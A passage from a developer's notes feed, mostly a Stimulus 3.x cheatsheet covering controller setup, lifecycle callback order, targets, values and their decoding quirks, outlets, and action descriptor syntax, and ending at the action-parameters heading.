&lt;li&gt;&lt;strong&gt;Suspense has its own hooks&lt;/strong&gt;: &lt;code&gt;useSuspenseQuery&lt;/code&gt;, &lt;code&gt;useSuspenseInfiniteQuery&lt;/code&gt;, &lt;code&gt;useSuspenseQueries&lt;/code&gt;, instead of &lt;code&gt;suspense: true&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Related&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/notes/tanstack-table/&quot;&gt;TanStack Table&lt;/a&gt; — server-side sorting and pagination with &lt;code&gt;useQuery&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/notes/tanstack-form/&quot;&gt;TanStack Form&lt;/a&gt; — submit with &lt;code&gt;useMutation&lt;/code&gt;, load default values with &lt;code&gt;useQuery&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>Stimulus cheatsheet</title><link>https://zander.wtf/notes/stimulus-cheatsheet/</link><guid isPermaLink="true">https://zander.wtf/notes/stimulus-cheatsheet/</guid><description>Complete reference for Stimulus 3.x. The package is @hotwired/stimulus; the old data-target and Data APIs were removed in v3. Current release is 3.2.2…</description><pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Complete reference for Stimulus 3.x. The package is &lt;code&gt;@hotwired/stimulus&lt;/code&gt;; the old &lt;code&gt;data-target&lt;/code&gt; and Data APIs were removed in v3.&lt;/p&gt;
&lt;p&gt;Current release is &lt;strong&gt;3.2.2&lt;/strong&gt; (August 2023). The project is in low-activity maintenance rather than active development, so 3.2.2 is what you&apos;ll be using.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Website: https://stimulus.hotwired.dev/&lt;/li&gt;
&lt;li&gt;GitHub repo: https://github.com/hotwired/stimulus&lt;/li&gt;
&lt;li&gt;Handbook: https://stimulus.hotwired.dev/handbook/introduction&lt;/li&gt;
&lt;li&gt;Forum: https://discuss.hotwired.dev/&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Setup&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { Application } from &apos;@hotwired/stimulus&apos;
import ClipboardController from &apos;./controllers/clipboard_controller&apos;

const application = Application.start()
application.register(&apos;clipboard&apos;, ClipboardController)

application.debug = true                      // log every lifecycle event
application.handleError = (error, message, detail) =&amp;gt; {
  Sentry.captureException(error, { extra: { message, detail } })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Application.start(element?, schema?)&lt;/code&gt; defaults to &lt;code&gt;document.documentElement&lt;/code&gt; and waits for &lt;code&gt;DOMContentLoaded&lt;/code&gt; if the document is still loading.&lt;/p&gt;
&lt;p&gt;Controllers are discovered with a &lt;code&gt;MutationObserver&lt;/code&gt;, so HTML injected after page load wires itself up with no re-initialisation. Callbacks fire in the next microtask, not synchronously.&lt;/p&gt;
&lt;p&gt;Other application methods: &lt;code&gt;register()&lt;/code&gt;, &lt;code&gt;load()&lt;/code&gt;, &lt;code&gt;unload()&lt;/code&gt;, &lt;code&gt;stop()&lt;/code&gt;, &lt;code&gt;controllers&lt;/code&gt;, &lt;code&gt;getControllerForElementAndIdentifier()&lt;/code&gt;, &lt;code&gt;registerActionOption()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Per-controller registration hooks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export default class extends Controller {
  static shouldLoad = !!window.matchMedia(&apos;(pointer: fine)&apos;).matches  // skip registration
  static afterLoad(identifier, application) { /* runs once on registration */ }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Empty controller&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { Controller } from &apos;@hotwired/stimulus&apos;

export default class extends Controller {
  static targets = []
  static values = {}
  static classes = []
  static outlets = []

  initialize() {}
  connect() {}
  disconnect() {}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lifecycle callbacks&lt;/h2&gt;
&lt;p&gt;There are eight, and no single page of the official docs lists them together.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Callback&lt;/th&gt;
&lt;th&gt;Arguments&lt;/th&gt;
&lt;th&gt;Fires&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;initialize()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;once per controller instance, ever&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[name]ValueChanged(value, previous)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;decoded value, decoded previous&lt;/td&gt;
&lt;td&gt;on connect, and on every later change&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[name]TargetConnected(element)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Element&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;a target enters the DOM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[name]OutletConnected(outlet, element)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Controller&lt;/code&gt;, &lt;code&gt;Element&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;an outlet enters the DOM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;connect()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;the controller connects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;disconnect()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;the controller disconnects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[name]OutletDisconnected(outlet, element)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Controller&lt;/code&gt;, &lt;code&gt;Element&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;an outlet leaves&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[name]TargetDisconnected(element)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Element&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;a target leaves&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Order&lt;/h3&gt;
&lt;p&gt;The sequence is asymmetric, which matters more than it sounds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Connecting:&lt;/strong&gt; &lt;code&gt;initialize&lt;/code&gt; → &lt;code&gt;[name]ValueChanged&lt;/code&gt; → &lt;code&gt;[name]TargetConnected&lt;/code&gt; → &lt;code&gt;[name]OutletConnected&lt;/code&gt; → &lt;code&gt;connect&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disconnecting:&lt;/strong&gt; &lt;code&gt;disconnect&lt;/code&gt; → &lt;code&gt;[name]OutletDisconnected&lt;/code&gt; → &lt;code&gt;[name]TargetDisconnected&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Target and outlet callbacks run &lt;em&gt;before&lt;/em&gt; &lt;code&gt;connect()&lt;/code&gt; but &lt;em&gt;after&lt;/em&gt; &lt;code&gt;disconnect()&lt;/code&gt;. So when &lt;code&gt;disconnect()&lt;/code&gt; runs, your targets are all still tracked, which is exactly when you want to detach things from them.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;connect()&lt;/code&gt; runs more than once&lt;/h3&gt;
&lt;p&gt;If an element is detached and re-attached, Stimulus reuses the existing controller instance and calls &lt;code&gt;connect()&lt;/code&gt; again without re-running &lt;code&gt;initialize()&lt;/code&gt;. Two &lt;code&gt;connect()&lt;/code&gt; calls are always separated by one &lt;code&gt;disconnect()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Put one-time setup in &lt;code&gt;initialize()&lt;/code&gt;, and make everything in &lt;code&gt;connect()&lt;/code&gt; idempotent. Turbo 8 morphing makes re-connection routine rather than rare.&lt;/p&gt;
&lt;h2&gt;HTML API&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Controller&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data-controller&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;div data-controller=&quot;hello history&quot;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Target&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data-[identifier]-target&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;input data-hello-target=&quot;name&quot;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Value&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data-[identifier]-[name]-value&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;div data-slideshow-index-value=&quot;1&quot;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data-[identifier]-[name]-class&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;div data-hello-loading-class=&quot;spinner&quot;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Outlet&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data-[identifier]-[name]-outlet&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;div data-chat-status-outlet=&quot;.online&quot;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Action&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data-action&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;button data-action=&quot;click-&amp;gt;hello#greet&quot;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Action param&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data-[identifier]-[name]-param&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;button data-vote-id-param=&quot;42&quot;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;data-controller&lt;/code&gt; takes a space-separated list, so one element can host several controllers, and one controller can be instantiated many times on a page.&lt;/p&gt;
&lt;h2&gt;Targets&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;static targets = [&apos;source&apos;, &apos;output&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input data-hello-target=&quot;source&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each name in the array gives you three properties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;this.sourceTarget&lt;/code&gt; — the first matching target. &lt;strong&gt;Throws&lt;/strong&gt; if there isn&apos;t one.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;this.sourceTargets&lt;/code&gt; — an array of all of them, empty if none.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;this.hasSourceTarget&lt;/code&gt; — boolean, for guarding optional targets.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The attribute value is a space-separated list, so one element can be several targets at once, for one controller or for many:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input data-hello-target=&quot;name email&quot; data-history-target=&quot;text&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A target must be a descendant of the controller element, and must not sit inside a nested scope of the same identifier.&lt;/p&gt;
&lt;h2&gt;Values&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;static values = {
  url: String,
  index: Number,
  enabled: Boolean,
  refreshInterval: { type: Number, default: 5000 },
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div data-controller=&quot;slideshow&quot; data-slideshow-index-value=&quot;1&quot;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;camelCase in JavaScript, kebab-case in HTML: &lt;code&gt;refreshInterval&lt;/code&gt; becomes &lt;code&gt;data-slideshow-refresh-interval-value&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Each value gives you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;this.indexValue&lt;/code&gt; — a getter &lt;strong&gt;and setter&lt;/strong&gt;. Assigning writes the attribute back to the DOM; assigning &lt;code&gt;undefined&lt;/code&gt; removes it.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;this.hasIndexValue&lt;/code&gt; — boolean.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;indexValueChanged(value, previousValue)&lt;/code&gt; — a change callback.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Types and their unset defaults&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Default when the attribute is absent&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Array&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Number&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;String&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot;&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;The change callback fires before &lt;code&gt;connect()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;[name]ValueChanged&lt;/code&gt; runs on the initial connection as well as on every change, and it runs &lt;em&gt;before&lt;/em&gt; &lt;code&gt;connect()&lt;/code&gt;. Code in a change callback cannot assume &lt;code&gt;connect()&lt;/code&gt; has set anything up.&lt;/p&gt;
&lt;p&gt;You can tell the first fire from later ones by &lt;code&gt;previousValue&lt;/code&gt;: it&apos;s &lt;code&gt;undefined&lt;/code&gt; when the attribute was absent, and the type default (&lt;code&gt;&quot;&quot;&lt;/code&gt;, &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;false&lt;/code&gt;) when the attribute was present.&lt;/p&gt;
&lt;h3&gt;Decoding quirks&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Boolean is barely boolean.&lt;/strong&gt; The implementation is &lt;code&gt;!(value == &quot;0&quot; || value.toLowerCase() == &quot;false&quot;)&lt;/code&gt;. Only &lt;code&gt;&quot;0&quot;&lt;/code&gt; and &lt;code&gt;&quot;false&quot;&lt;/code&gt; are falsy, so &lt;code&gt;data-x-enabled-value=&quot;no&quot;&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;, and so is &lt;code&gt;&quot;off&quot;&lt;/code&gt;, &lt;code&gt;&quot;&quot;&lt;/code&gt;… anything else.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Number strips underscores&lt;/strong&gt;, so &lt;code&gt;&quot;10_000&quot;&lt;/code&gt; parses fine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Array and Object use &lt;code&gt;JSON.parse&lt;/code&gt;&lt;/strong&gt; and throw a &lt;code&gt;TypeError&lt;/code&gt; on the wrong shape.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;hasXValue&lt;/code&gt; isn&apos;t quite what the docs say.&lt;/strong&gt; They describe it as true when the attribute is present. It&apos;s actually true when the attribute is present &lt;em&gt;or&lt;/em&gt; you declared a custom default.&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;default&lt;/code&gt; whose type doesn&apos;t match the declared &lt;code&gt;type&lt;/code&gt; throws at registration time.&lt;/p&gt;
&lt;h2&gt;Classes&lt;/h2&gt;
&lt;p&gt;Keeps CSS class names out of your JavaScript, so restyling doesn&apos;t mean touching code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static classes = [&apos;loading&apos;, &apos;success&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div data-controller=&quot;hello&quot; data-hello-loading-class=&quot;spinner is-busy&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;this.loadingClass&lt;/code&gt; — the raw attribute string. &lt;strong&gt;Throws&lt;/strong&gt; if the attribute is missing.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;this.loadingClasses&lt;/code&gt; — split on spaces, for &lt;code&gt;element.classList.add(...this.loadingClasses)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;this.hasLoadingClass&lt;/code&gt; — boolean.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Outlets&lt;/h2&gt;
&lt;p&gt;References to &lt;em&gt;other controllers&lt;/em&gt;, added in Stimulus 3.2.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static outlets = [&apos;status&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div data-controller=&quot;chat&quot; data-chat-status-outlet=&quot;.user-status&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;user-status&quot; data-controller=&quot;status&quot;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Gives you&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;this.statusOutlet&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the first matching &lt;strong&gt;controller instance&lt;/strong&gt;; throws if none&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;this.statusOutlets&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;an array of controller instances&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;this.statusOutletElement&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the first matching &lt;strong&gt;element&lt;/strong&gt;; throws if none&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;this.statusOutletElements&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;an array of elements&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;this.hasStatusOutlet&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;boolean&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Two constraints that produce confusing errors when broken:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The outlet name must equal the target controller&apos;s &lt;strong&gt;identifier&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The matched element must actually carry &lt;code&gt;data-controller=&quot;status&quot;&lt;/code&gt;, or Stimulus throws.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Unlike targets, outlets can be anywhere on the page, not just inside the controller&apos;s scope. Namespaced identifiers collapse to camelCase: outlet &lt;code&gt;admin--user-status&lt;/code&gt; becomes &lt;code&gt;this.adminUserStatusOutlets&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note the callback argument order is controller first, element second, which is the reverse of the target callbacks.&lt;/p&gt;
&lt;h2&gt;Actions&lt;/h2&gt;
&lt;h3&gt;Descriptor grammar&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[keyModifier+]event[.keyFilter][@window|@document]-&amp;gt;identifier#method[:option…]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;data-action=&quot;click-&amp;gt;hello#greet&quot;&lt;/code&gt; reads as: on &lt;code&gt;click&lt;/code&gt;, call the &lt;code&gt;greet&lt;/code&gt; method of the &lt;code&gt;hello&lt;/code&gt; controller.&lt;/p&gt;
&lt;h3&gt;Default events&lt;/h3&gt;
&lt;p&gt;Omit the event entirely on these elements:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Element&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;click&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;button&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;click&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;input type=&quot;submit&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;click&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;details&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;toggle&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;form&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;submit&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;input&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;input&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;select&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;change&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;textarea&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;input&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;So &lt;code&gt;data-action=&quot;hello#greet&quot;&lt;/code&gt; is enough on a &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt;. Any other element without an explicit event throws &lt;code&gt;missing event name&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Multiple actions&lt;/h3&gt;
&lt;p&gt;Space-separate them. They run left to right.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;button data-action=&quot;click-&amp;gt;hello#greet click-&amp;gt;history#save&quot;&amp;gt;Click me&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Stop the chain with &lt;code&gt;event.stopImmediatePropagation()&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Options&lt;/h3&gt;
&lt;p&gt;Chain with colons. A &lt;code&gt;!&lt;/code&gt; prefix negates any option.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option&lt;/th&gt;
&lt;th&gt;Effect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:once&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;listener runs once&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:capture&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;listen in the capture phase&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:passive&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{ passive: true }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:!passive&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{ passive: false }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:stop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;event.stopPropagation()&lt;/code&gt; before invoking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:prevent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;event.preventDefault()&lt;/code&gt; before invoking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:self&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;only invoke if &lt;code&gt;event.target&lt;/code&gt; is this element&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;form data-action=&quot;submit-&amp;gt;form#save:once:prevent&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Register your own with &lt;code&gt;application.registerActionOption(name, ({ event, element, value }) =&amp;gt; boolean)&lt;/code&gt;. Returning &lt;code&gt;false&lt;/code&gt; blocks the invocation.&lt;/p&gt;
&lt;h3&gt;Keyboard filters&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input data-action=&quot;keydown.enter-&amp;gt;search#submit keydown.esc-&amp;gt;search#clear&quot;&amp;gt;
&amp;lt;div data-action=&quot;keydown.ctrl+a-&amp;gt;listbox#selectAll&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mapped names: &lt;code&gt;enter&lt;/code&gt;, &lt;code&gt;tab&lt;/code&gt;, &lt;code&gt;esc&lt;/code&gt;, &lt;code&gt;space&lt;/code&gt;, &lt;code&gt;up&lt;/code&gt;, &lt;code&gt;down&lt;/code&gt;, &lt;code&gt;left&lt;/code&gt;, &lt;code&gt;right&lt;/code&gt;, &lt;code&gt;home&lt;/code&gt;, &lt;code&gt;end&lt;/code&gt;, &lt;code&gt;page_up&lt;/code&gt;, &lt;code&gt;page_down&lt;/code&gt;, plus &lt;code&gt;a&lt;/code&gt;–&lt;code&gt;z&lt;/code&gt; and &lt;code&gt;0&lt;/code&gt;–&lt;code&gt;9&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Modifiers: &lt;code&gt;alt&lt;/code&gt; (option on macOS), &lt;code&gt;ctrl&lt;/code&gt;, &lt;code&gt;meta&lt;/code&gt; (command), &lt;code&gt;shift&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Two things the docs don&apos;t mention:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Modifiers are matched exactly.&lt;/strong&gt; &lt;code&gt;keydown.enter&lt;/code&gt; will &lt;em&gt;not&lt;/em&gt; fire if shift is held, because the filter requires every unlisted modifier to be false.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The &lt;code&gt;.filter&lt;/code&gt; suffix only means &quot;key filter&quot; for &lt;code&gt;keydown&lt;/code&gt;, &lt;code&gt;keyup&lt;/code&gt; and &lt;code&gt;keypress&lt;/code&gt;.&lt;/strong&gt; On any other event the dot is folded back into the event name, so &lt;code&gt;custom.thing-&amp;gt;x#y&lt;/code&gt; listens for an event literally called &lt;code&gt;custom.thing&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mouse modifiers use the prefix form instead: &lt;code&gt;shift+click-&amp;gt;x#y&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Unknown filter names throw. Add your own via a custom &lt;code&gt;keyMappings&lt;/code&gt; schema passed to &lt;code&gt;Application.start()&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Global events&lt;/h3&gt;
&lt;p&gt;Only &lt;code&gt;@window&lt;/code&gt; and &lt;code&gt;@document&lt;/code&gt; exist, and the list isn&apos;t extensible.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div data-action=&quot;resize@window-&amp;gt;layout#reflow scroll@window-&amp;gt;nav#pin&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Action parameters&lt;/h3&gt;
